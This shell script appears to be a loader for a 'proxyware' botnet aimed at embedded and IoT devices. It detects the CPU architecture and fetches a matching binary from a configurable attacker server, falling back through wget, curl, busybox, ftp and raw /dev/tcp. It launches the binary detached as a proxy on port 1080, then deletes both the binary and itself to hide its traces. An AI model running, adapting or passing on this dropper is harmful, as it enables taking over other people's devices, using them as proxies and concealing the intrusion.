#!/bin/sh
cd /tmp 2>/dev/null || cd /var/run 2>/dev/null || cd /mnt 2>/dev/null || cd /root 2>/dev/null || cd / 2>/dev/null || true

ARCH=""
if command -v uname >/dev/null 2>&1; then
    ARCH=$(uname -m 2>/dev/null)
elif [ -f /proc/cpuinfo ]; then
    ARCH=$(grep -i "machine\|processor\|model name" /proc/cpuinfo 2>/dev/null | head -1 | tr '[:upper:]' '[:lower:]' | sed 's/.*\(mips\|arm\|x86\|powerpc\|sh4\|m68k\|aarch64\).*/\1/' 2>/dev/null)
fi

if [ -z "$ARCH" ]; then
    ARCH="unknown"
fi

case $ARCH in
    *mips*|*mipsl*) BIN="proxyware_mips" ;;
    *mipsel*|*mipsell*) BIN="proxyware_mipsel" ;;
    *sh4*|*sh4l*) BIN="proxyware_sh4" ;;
    *x86_64*|*x86_64l*|*amd64*) BIN="proxyware_x86_64" ;;
    *i686*|*i686l*|*i386*|*i386l*) BIN="proxyware_i686" ;;
    *powerpc*|*powerpcl*|*ppc*) BIN="proxyware_powerpc" ;;
    *m68k*|*m68kl*) BIN="proxyware_m68k" ;;
    *armv6l*|*armv6ll*|*armv6*) BIN="proxyware_armv6" ;;
    *armv7l*|*armv7ll*|*armv7*) BIN="proxyware_armv7l" ;;
    *arm*|*arml*) BIN="proxyware_arm" ;;
    *aarch64*|*aarch64l*|*arm64*) BIN="proxyware_aarch64" ;;
    *) BIN="proxyware_x86_64" ;;
esac

# Get server URL from environment or use default
SERVER_URL="${PROXYWARE_SERVER_URL:-http://YOUR_SERVER_IP:8080}"
DL_URL="${SERVER_URL}/${BIN}"

DL_CMD=""
if command -v wget >/dev/null 2>&1; then
    DL_CMD="wget -q -O proxyware"
elif command -v curl >/dev/null 2>&1; then
    DL_CMD="curl -s -o proxyware"
elif command -v busybox >/dev/null 2>&1 && busybox wget >/dev/null 2>&1; then
    DL_CMD="busybox wget -q -O proxyware"
elif command -v ftp >/dev/null 2>&1; then
    DL_CMD="ftp -o proxyware"
elif [ -c /dev/tcp ] 2>/dev/null; then
    HOST=$(echo "$SERVER_URL" | sed 's|http://||' | sed 's|https://||' | cut -d/ -f1 | cut -d: -f1)
    PORT=$(echo "$SERVER_URL" | sed 's|http://||' | sed 's|https://||' | cut -d/ -f1 | cut -d: -f2)
    PORT=${PORT:-80}
    PATH_PART=$(echo "$SERVER_URL" | sed 's|http://||' | sed 's|https://||' | cut -d/ -f2-)
    (exec 3<>/dev/tcp/$HOST/$PORT && echo -e "GET /$PATH_PART HTTP/1.0\r\nHost: $HOST\r\n\r\n" >&3 && cat <&3 | sed '1,/^\r$/d' > proxyware) 2>/dev/null
    DL_CMD="true"
fi

if [ -n "$DL_CMD" ] && [ "$DL_CMD" != "true" ]; then
    $DL_CMD "$DL_URL" 2>/dev/null
fi

if [ -f proxyware ] && [ -s proxyware ]; then
    chmod +x proxyware 2>/dev/null || true
    
    # Get proxy port from environment or use default
    PROXY_PORT="${PROXY_PORT:-1080}"
    export PROXY_PORT
    
    # Set server URL for registration (extract from SERVER_URL)
    export PROXYWARE_SERVER_URL="$SERVER_URL"
    
    if command -v nohup >/dev/null 2>&1; then
        nohup ./proxyware -p "$PROXY_PORT" >/dev/null 2>&1 </dev/null &
        PROXYWARE_PID=$!
    elif command -v setsid >/dev/null 2>&1; then
        setsid ./proxyware -p "$PROXY_PORT" >/dev/null 2>&1 </dev/null &
        PROXYWARE_PID=$!
    else
        ./proxyware -p "$PROXY_PORT" >/dev/null 2>&1 </dev/null &
        PROXYWARE_PID=$!
    fi
    
    sleep 5 2>/dev/null || sleep 5
    
    if [ -n "$PROXYWARE_PID" ] && command -v kill >/dev/null 2>&1; then
        if kill -0 "$PROXYWARE_PID" 2>/dev/null; then
            rm -f proxyware 2>/dev/null || true
        else
            sleep 3 2>/dev/null || sleep 3
            rm -f proxyware 2>/dev/null || true
        fi
    else
        sleep 3 2>/dev/null || sleep 3
        rm -f proxyware 2>/dev/null || true
    fi
fi

sleep 1 2>/dev/null || sleep 1
rm -f "$0" 2>/dev/null || true

